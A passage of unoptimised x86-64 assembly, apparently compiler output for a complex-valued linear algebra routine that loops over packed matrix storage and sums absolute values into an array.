movsd %xmm0, -328(%rbp) ## 8-byte Spill
movq 32(%rbp), %rdi
movl -196(%rbp), %eax
movl -192(%rbp), %ecx
imull -84(%rbp), %ecx
addl %ecx, %eax
cltq
shlq $4, %rax
addq %rax, %rdi
callq _Cd
movsd %xmm1, -128(%rbp)
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_64
## %bb.63: ## in Loop: Header=BB0_58 Depth=2
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -336(%rbp) ## 8-byte Spill
jmp LBB0_65
LBB0_64: ## in Loop: Header=BB0_58 Depth=2
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -336(%rbp) ## 8-byte Spill
LBB0_65: ## in Loop: Header=BB0_58 Depth=2
movsd -328(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd -336(%rbp), %xmm1 ## 8-byte Reload
## xmm1 = mem[0],zero
addsd %xmm1, %xmm0
movsd %xmm0, -224(%rbp)
movl -196(%rbp), %eax
movl %eax, -100(%rbp)
movl $1, -188(%rbp)
LBB0_66: ## Parent Loop BB0_43 Depth=1
## Parent Loop BB0_58 Depth=2
## => This Inner Loop Header: Depth=3
movl -188(%rbp), %eax
cmpl -100(%rbp), %eax
jg LBB0_75
## %bb.67: ## in Loop: Header=BB0_66 Depth=3
movl -216(%rbp), %eax
addl -188(%rbp), %eax
subl $1, %eax
movl %eax, -104(%rbp)
movq -72(%rbp), %rax
movslq -104(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movsd (%rax), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -120(%rbp)
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_69
## %bb.68: ## in Loop: Header=BB0_66 Depth=3
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -344(%rbp) ## 8-byte Spill
jmp LBB0_70
LBB0_69: ## in Loop: Header=BB0_66 Depth=3
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -344(%rbp) ## 8-byte Spill
LBB0_70: ## in Loop: Header=BB0_66 Depth=3
movsd -344(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd %xmm0, -352(%rbp) ## 8-byte Spill
movq -72(%rbp), %rdi
movl -216(%rbp), %eax
addl -188(%rbp), %eax
subl $1, %eax
cltq
shlq $4, %rax
addq %rax, %rdi
callq _Cd
movsd %xmm1, -128(%rbp)
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_72
## %bb.71: ## in Loop: Header=BB0_66 Depth=3
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -360(%rbp) ## 8-byte Spill
jmp LBB0_73
LBB0_72: ## in Loop: Header=BB0_66 Depth=3
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -360(%rbp) ## 8-byte Spill
LBB0_73: ## in Loop: Header=BB0_66 Depth=3
movsd -352(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd -360(%rbp), %xmm1 ## 8-byte Reload
## xmm1 = mem[0],zero
addsd %xmm1, %xmm0
movsd -224(%rbp), %xmm2 ## xmm2 = mem[0],zero
movq 72(%rbp), %rax
movslq -188(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm1 ## xmm1 = mem[0],zero
mulsd %xmm2, %xmm0
addsd %xmm1, %xmm0
movsd %xmm0, (%rax,%rcx,8)
## %bb.74: ## in Loop: Header=BB0_66 Depth=3
movl -188(%rbp), %eax
addl $1, %eax
movl %eax, -188(%rbp)
jmp LBB0_66
LBB0_75: ## in Loop: Header=BB0_58 Depth=2
movl -196(%rbp), %eax
addl -216(%rbp), %eax
movl %eax, -216(%rbp)
## %bb.76: ## in Loop: Header=BB0_58 Depth=2
movl -196(%rbp), %eax
addl $1, %eax
movl %eax, -196(%rbp)
jmp LBB0_58
LBB0_77: ## in Loop: Header=BB0_43 Depth=1
jmp LBB0_99
LBB0_78: ## in Loop: Header=BB0_43 Depth=1
movq -56(%rbp), %rax
movl (%rax), %eax
movl %eax, -96(%rbp)
movl $1, -196(%rbp)
LBB0_79: ## Parent Loop BB0_43 Depth=1
## => This Loop Header: Depth=2
## Child Loop BB0_87 Depth 3
movl -196(%rbp), %eax
cmpl -96(%rbp), %eax
jg LBB0_98
## %bb.80: ## in Loop: Header=BB0_79 Depth=2
movl -196(%rbp), %eax
movl -192(%rbp), %ecx
imull -84(%rbp), %ecx
addl %ecx, %eax
movl %eax, -100(%rbp)
movq 32(%rbp), %rax
movslq -100(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movsd (%rax), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -120(%rbp)
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_82
## %bb.81: ## in Loop: Header=BB0_79 Depth=2
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -368(%rbp) ## 8-byte Spill
jmp LBB0_83
LBB0_82: ## in Loop: Header=BB0_79 Depth=2
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -368(%rbp) ## 8-byte Spill
LBB0_83: ## in Loop: Header=BB0_79 Depth=2
movsd -368(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd %xmm0, -376(%rbp) ## 8-byte Spill
movq 32(%rbp), %rdi
movl -196(%rbp), %eax
movl -192(%rbp), %ecx
imull -84(%rbp), %ecx
addl %ecx, %eax
cltq
shlq $4, %rax
addq %rax, %rdi
callq _Cd
movsd %xmm1, -128(%rbp)
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_85
## %bb.84: ## in Loop: Header=BB0_79 Depth=2
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -384(%rbp) ## 8-byte Spill
jmp LBB0_86
LBB0_85: ## in Loop: Header=BB0_79 Depth=2
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -384(%rbp) ## 8-byte Spill
LBB0_86: ## in Loop: Header=BB0_79 Depth=2
movsd -376(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd -384(%rbp), %xmm1 ## 8-byte Reload
## xmm1 = mem[0],zero
addsd %xmm1, %xmm0
movsd %xmm0, -224(%rbp)
movl -196(%rbp), %eax
subl $1, %eax
movl %eax, -100(%rbp)
movl $1, -188(%rbp)
LBB0_87: ## Parent Loop BB0_43 Depth=1
## Parent Loop BB0_79 Depth=2
## => This Inner Loop Header: Depth=3
movl -188(%rbp), %eax
cmpl -100(%rbp), %eax
jg LBB0_96
## %bb.88: ## in Loop: Header=BB0_87 Depth=3
movl -216(%rbp), %eax
addl -188(%rbp), %eax
subl $1, %eax
movl %eax, -104(%rbp)
movq -72(%rbp), %rax
movslq -104(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movsd (%rax), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -120(%rbp)
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_90
## %bb.89: ## in Loop: Header=BB0_87 Depth=3
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -392(%rbp) ## 8-byte Spill
jmp LBB0_91
LBB0_90: ## in Loop: Header=BB0_87 Depth=3
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -392(%rbp) ## 8-byte Spill
LBB0_91: ## in Loop: Header=BB0_87 Depth=3
movsd -392(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd %xmm0, -400(%rbp) ## 8-byte Spill
movq -72(%rbp), %rdi
movl -216(%rbp), %eax
addl -188(%rbp), %eax
subl $1, %eax
cltq
shlq $4, %rax
addq %rax, %rdi
callq _Cd
movsd %xmm1, -128(%rbp)
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_93
## %bb.92: ## in Loop: Header=BB0_87 Depth=3
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -408(%rbp) ## 8-byte Spill
jmp LBB0_94
LBB0_93: ## in Loop: Header=BB0_87 Depth=3
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -408(%rbp) ## 8-byte Spill
LBB0_94: ## in Loop: Header=BB0_87 Depth=3
movsd -400(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd -408(%rbp), %xmm1 ## 8-byte Reload
## xmm1 = mem[0],zero
addsd %xmm1, %xmm0
movsd -224(%rbp), %xmm2 ## xmm2 = mem[0],zero
movq 72(%rbp), %rax
movslq -188(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm1 ## xmm1 = mem[0],zero
mulsd %xmm2, %xmm0
addsd %xmm1, %xmm0
movsd %xmm0, (%rax,%rcx,8)
## %bb.95: ## in Loop: Header=BB0_87 Depth=3
movl -188(%rbp), %eax
addl $1, %eax
movl %eax, -188(%rbp)
jmp LBB0_87
LBB0_96: ## in Loop: Header=BB0_79 Depth=2
movsd -224(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq 72(%rbp), %rax
movslq -196(%rbp), %rcx
addsd (%rax,%rcx,8), %xmm0
movsd %xmm0, (%rax,%rcx,8)
movl -196(%rbp), %eax
addl -216(%rbp), %eax
movl %eax, -216(%rbp)
## %bb.97: ## in Loop: Header=BB0_79 Depth=2
movl -196(%rbp), %eax
addl $1, %eax
movl %eax, -196(%rbp)
jmp LBB0_79
LBB0_98: ## in Loop: Header=BB0_43 Depth=1
jmp LBB0_99
LBB0_99: ## in Loop: Header=BB0_43 Depth=1
jmp LBB0_144
LBB0_100: ## in Loop: Header=BB0_43 Depth=1
movl $1, -216(%rbp)
cmpl $0, -252(%rbp)
je LBB0_122
## %bb.101: ## in Loop: Header=BB0_43 Depth=1
movq -56(%rbp), %rax
movl (%rax), %eax
movl %eax, -96(%rbp)
movl $1, -196(%rbp)
LBB0_102: ## Parent Loop BB0_43 Depth=1
## => This Loop Header: Depth=2
## Child Loop BB0_110 Depth 3
movl -196(%rbp), %eax
cmpl -96(%rbp), %eax
jg LBB0_121
## %bb.103: ## in Loop: Header=BB0_102 Depth=2
movl -196(%rbp), %eax
movl -192(%rbp), %ecx
imull -84(%rbp), %ecx
addl %ecx, %eax
movl %eax, -100(%rbp)
movq 32(%rbp), %rax
movslq -100(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movsd (%rax), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -120(%rbp)
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_105
## %bb.104: ## in Loop: Header=BB0_102 Depth=2
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -416(%rbp) ## 8-byte Spill
jmp LBB0_106
LBB0_105: ## in Loop: Header=BB0_102 Depth=2
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -416(%rbp) ## 8-byte Spill
LBB0_106: ## in Loop: Header=BB0_102 Depth=2
movsd -416(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd %xmm0, -424(%rbp) ## 8-byte Spill
movq 32(%rbp), %rdi
movl -196(%rbp), %eax
movl -192(%rbp), %ecx
imull -84(%rbp), %ecx
addl %ecx, %eax
cltq
shlq $4, %rax
addq %rax, %rdi
callq _Cd
movsd %xmm1, -128(%rbp)
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_108
## %bb.107: ## in Loop: Header=BB0_102 Depth=2
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -432(%rbp) ## 8-byte Spill
jmp LBB0_109
LBB0_108: ## in Loop: Header=BB0_102 Depth=2
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -432(%rbp) ## 8-byte Spill
LBB0_109: ## in Loop: Header=BB0_102 Depth=2
movsd -424(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd -432(%rbp), %xmm1 ## 8-byte Reload
## xmm1 = mem[0],zero
addsd %xmm1, %xmm0
movsd %xmm0, -224(%rbp)
movq -56(%rbp), %rax
movl (%rax), %eax
movl %eax, -100(%rbp)
movl -196(%rbp), %eax
movl %eax, -188(%rbp)
LBB0_110: ## Parent Loop BB0_43 Depth=1
## Parent Loop BB0_102 Depth=2
## => This Inner Loop Header: Depth=3
movl -188(%rbp), %eax
cmpl -100(%rbp), %eax
jg LBB0_119
## %bb.111: ## in Loop: Header=BB0_110 Depth=3
movl -216(%rbp), %eax
addl -188(%rbp), %eax
subl -196(%rbp), %eax
movl %eax, -104(%rbp)
movq -72(%rbp), %rax
movslq -104(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movsd (%rax), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -120(%rbp)
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_113
## %bb.112: ## in Loop: Header=BB0_110 Depth=3
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -440(%rbp) ## 8-byte Spill
jmp LBB0_114
LBB0_113: ## in Loop: Header=BB0_110 Depth=3
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -440(%rbp) ## 8-byte Spill
LBB0_114: ## in Loop: Header=BB0_110 Depth=3
movsd -440(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd %xmm0, -448(%rbp) ## 8-byte Spill
movq -72(%rbp), %rdi
movl -216(%rbp), %eax
addl -188(%rbp), %eax
subl -196(%rbp), %eax
cltq
shlq $4, %rax
addq %rax, %rdi
callq _Cd
movsd %xmm1, -128(%rbp)
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_116
## %bb.115: ## in Loop: Header=BB0_110 Depth=3
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -456(%rbp) ## 8-byte Spill
jmp LBB0_117
LBB0_116: ## in Loop: Header=BB0_110 Depth=3
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -456(%rbp) ## 8-byte Spill
LBB0_117: ## in Loop: Header=BB0_110 Depth=3
movsd -448(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd -456(%rbp), %xmm1 ## 8-byte Reload
## xmm1 = mem[0],zero
addsd %xmm1, %xmm0
movsd -224(%rbp), %xmm2 ## xmm2 = mem[0],zero
movq 72(%rbp), %rax
movslq -188(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm1 ## xmm1 = mem[0],zero
mulsd %xmm2, %xmm0
addsd %xmm1, %xmm0
movsd %xmm0, (%rax,%rcx,8)
## %bb.118: ## in Loop: Header=BB0_110 Depth=3
movl -188(%rbp), %eax
addl $1, %eax
movl %eax, -188(%rbp)
jmp LBB0_110
LBB0_119: ## in Loop: Header=BB0_102 Depth=2
movl -216(%rbp), %eax
movq -56(%rbp), %rcx
addl (%rcx), %eax
subl -196(%rbp), %eax
addl $1, %eax
movl %eax, -216(%rbp)
## %bb.120: ## in Loop: Header=BB0_102 Depth=2
movl -196(%rbp), %eax
addl $1, %eax
movl %eax, -196(%rbp)
jmp LBB0_102
LBB0_121: ## in Loop: Header=BB0_43 Depth=1
jmp LBB0_143
LBB0_122: ## in Loop: Header=BB0_43 Depth=1
movq -56(%rbp), %rax
movl (%rax), %eax
movl %eax, -96(%rbp)
movl $1, -196(%rbp)
LBB0_123: ## Parent Loop BB0_43 Depth=1
## => This Loop Header: Depth=2
## Child Loop BB0_131 Depth 3
movl -196(%rbp), %eax
cmpl -96(%rbp), %eax
jg LBB0_142
## %bb.124: ## in Loop: Header=BB0_123 Depth=2
movl -196(%rbp), %eax
movl -192(%rbp), %ecx
imull -84(%rbp), %ecx
addl %ecx, %eax
movl %eax, -100(%rbp)
movq 32(%rbp), %rax
movslq -100(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movsd (%rax), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -120(%rbp)
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_126
## %bb.125: ## in Loop: Header=BB0_123 Depth=2
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -464(%rbp) ## 8-byte Spill
jmp LBB0_127
LBB0_126: ## in Loop: Header=BB0_123 Depth=2
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -464(%rbp) ## 8-byte Spill
LBB0_127: ## in Loop: Header=BB0_123 Depth=2
movsd -464(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd %xmm0, -472(%rbp) ## 8-byte Spill
movq 32(%rbp), %rdi
movl -196(%rbp), %eax
movl -192(%rbp), %ecx
imull -84(%rbp), %ecx
addl %ecx, %eax
cltq
shlq $4, %rax
addq %rax, %rdi
callq _Cd
movsd %xmm1, -128(%rbp)
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_129
## %bb.128: ## in Loop: Header=BB0_123 Depth=2
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -480(%rbp) ## 8-byte Spill
jmp LBB0_130
LBB0_129: ## in Loop: Header=BB0_123 Depth=2
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -480(%rbp) ## 8-byte Spill
LBB0_130: ## in Loop: Header=BB0_123 Depth=2
movsd -472(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd -480(%rbp), %xmm1 ## 8-byte Reload
## xmm1 = mem[0],zero
addsd %xmm1, %xmm0
movsd %xmm0, -224(%rbp)
movq -56(%rbp), %rax
movl (%rax), %eax
movl %eax, -100(%rbp)
movl -196(%rbp), %eax
addl $1, %eax
movl %eax, -188(%rbp)
LBB0_131: ## Parent Loop BB0_43 Depth=1
## Parent Loop BB0_123 Depth=2
## => This Inner Loop Header: Depth=3
movl -188(%rbp), %eax
cmpl -100(%rbp), %eax
jg LBB0_140
## %bb.132: ## in Loop: Header=BB0_131 Depth=3
movl -216(%rbp), %eax
addl -188(%rbp), %eax
subl -196(%rbp), %eax
movl %eax, -104(%rbp)
movq -72(%rbp), %rax
movslq -104(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movsd (%rax), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -120(%rbp)
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_134
## %bb.133: ## in Loop: Header=BB0_131 Depth=3
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -488(%rbp) ## 8-byte Spill
jmp LBB0_135
LBB0_134: ## in Loop: Header=BB0_131 Depth=3
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -488(%rbp) ## 8-byte Spill
LBB0_135: ## in Loop: Header=BB0_131 Depth=3
movsd -488(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd %xmm0, -496(%rbp) ## 8-byte Spill
movq -72(%rbp), %rdi
movl -216(%rbp), %eax
addl -188(%rbp), %eax
subl -196(%rbp), %eax
cltq
shlq $4, %rax
addq %rax, %rdi
callq _Cd
movsd %xmm1, -128(%rbp)
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_137
## %bb.136: ## in Loop: Header=BB0_131 Depth=3
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -504(%rbp) ## 8-byte Spill
jmp LBB0_138
LBB0_137: ## in Loop: Header=BB0_131 Depth=3
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -504(%rbp) ## 8-byte Spill
LBB0_138: ## in Loop: Header=BB0_131 Depth=3
movsd -496(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd -504(%rbp), %xmm1 ## 8-byte Reload
## xmm1 = mem[0],zero
addsd %xmm1, %xmm0
movsd -224(%rbp), %xmm2 ## xmm2 = mem[0],zero
movq 72(%rbp), %rax
movslq -188(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm1 ## xmm1 = mem[0],zero
mulsd %xmm2, %xmm0
addsd %xmm1, %xmm0
movsd %xmm0, (%rax,%rcx,8)
## %bb.139: ## in Loop: Header=BB0_131 Depth=3
movl -188(%rbp), %eax
addl $1, %eax
movl %eax, -188(%rbp)
jmp LBB0_131
LBB0_140: ## in Loop: Header=BB0_123 Depth=2
movsd -224(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq 72(%rbp), %rax
movslq -196(%rbp), %rcx
addsd (%rax,%rcx,8), %xmm0
movsd %xmm0, (%rax,%rcx,8)
movl -216(%rbp), %eax
movq -56(%rbp), %rcx
addl (%rcx), %eax
subl -196(%rbp), %eax
addl $1, %eax
movl %eax, -216(%rbp)
## %bb.141: ## in Loop: Header=BB0_123 Depth=2
movl -196(%rbp), %eax
addl $1, %eax
movl %eax, -196(%rbp)
jmp LBB0_123
LBB0_142: ## in Loop: Header=BB0_43 Depth=1
jmp LBB0_143
LBB0_143: ## in Loop: Header=BB0_43 Depth=1
jmp LBB0_144
LBB0_144: ## in Loop: Header=BB0_43 Depth=1
jmp LBB0_247
LBB0_145: ## in Loop: Header=BB0_43 Depth=1
cmpl $0, -212(%rbp)
je LBB0_196
## %bb.146: ## in Loop: Header=BB0_43 Depth=1
movl $1, -216(%rbp)
cmpl $0, -252(%rbp)
je LBB0_168
## %bb.147: ## in Loop: Header=BB0_43 Depth=1
movq -56(%rbp), %rax
movl (%rax), %eax
movl %eax, -96(%rbp)
movl $1, -196(%rbp)
LBB0_148: ## Parent Loop BB0_43 Depth=1
## => This Loop Header: Depth=2
## Child Loop BB0_150 Depth 3
movl -196(%rbp), %eax
cmpl -96(%rbp), %eax
jg LBB0_167
## %bb.149: ## in Loop: Header=BB0_148 Depth=2
xorps %xmm0, %xmm0
movsd %xmm0, -208(%rbp)
movl -196(%rbp), %eax
movl %eax, -100(%rbp)
movl $1, -188(%rbp)
LBB0_150: ## Parent Loop BB0_43 Depth=1
## Parent Loop BB0_148 Depth=2
## => This Inner Loop Header: Depth=3
movl -188(%rbp), %eax
cmpl -100(%rbp), %eax
jg LBB0_165
## %bb.151: ## in Loop: Header=BB0_150 Depth=3
movl -216(%rbp), %eax
addl -188(%rbp), %eax
subl $1, %eax
movl %eax, -104(%rbp)
movl -188(%rbp), %eax
movl -192(%rbp), %ecx
imull -84(%rbp), %ecx
addl %ecx, %eax
movl %eax, -108(%rbp)
movq -72(%rbp), %rax
movslq -104(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movsd (%rax), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -120(%rbp)
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_153
## %bb.152: ## in Loop: Header=BB0_150 Depth=3
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -512(%rbp) ## 8-byte Spill
jmp LBB0_154
LBB0_153: ## in Loop: Header=BB0_150 Depth=3
movsd -120(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -512(%rbp) ## 8-byte Spill
LBB0_154: ## in Loop: Header=BB0_150 Depth=3
movsd -512(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd %xmm0, -520(%rbp) ## 8-byte Spill
movq -72(%rbp), %rdi
movl -216(%rbp), %eax
addl -188(%rbp), %eax
subl $1, %eax
cltq
shlq $4, %rax
addq %rax, %rdi
callq _Cd
movsd %xmm1, -128(%rbp)
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_156
## %bb.155: ## in Loop: Header=BB0_150 Depth=3
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -528(%rbp) ## 8-byte Spill
jmp LBB0_157
LBB0_156: ## in Loop: Header=BB0_150 Depth=3
movsd -128(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -528(%rbp) ## 8-byte Spill
LBB0_157: ## in Loop: Header=BB0_150 Depth=3
movsd -520(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd -528(%rbp), %xmm1 ## 8-byte Reload
## xmm1 = mem[0],zero
addsd %xmm1, %xmm0
movsd %xmm0, -536(%rbp) ## 8-byte Spill
movq 32(%rbp), %rax
movslq -108(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movsd (%rax), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -136(%rbp)
movsd -136(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_159
## %bb.158: ## in Loop: Header=BB0_150 Depth=3
movsd -136(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -544(%rbp) ## 8-byte Spill
jmp LBB0_160
LBB0_159: ## in Loop: Header=BB0_150 Depth=3
movsd -136(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq %xmm0, %rax
movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000
xorq %rcx, %rax
movq %rax, %xmm0
movsd %xmm0, -544(%rbp) ## 8-byte Spill
LBB0_160: ## in Loop: Header=BB0_150 Depth=3
movsd -544(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
movsd %xmm0, -552(%rbp) ## 8-byte Spill
movq 32(%rbp), %rdi
movl -188(%rbp), %eax
movl -192(%rbp), %ecx
imull -84(%rbp), %ecx
addl %ecx, %eax
cltq
shlq $4, %rax
addq %rax, %rdi
callq _Cd
movsd %xmm1, -144(%rbp)
movsd -144(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jb LBB0_162
## %bb.161: ## in Loop: Header=BB0_150 Depth=3
movsd -144(%rbp), %xmm0 ## xmm0 = mem[0],zero
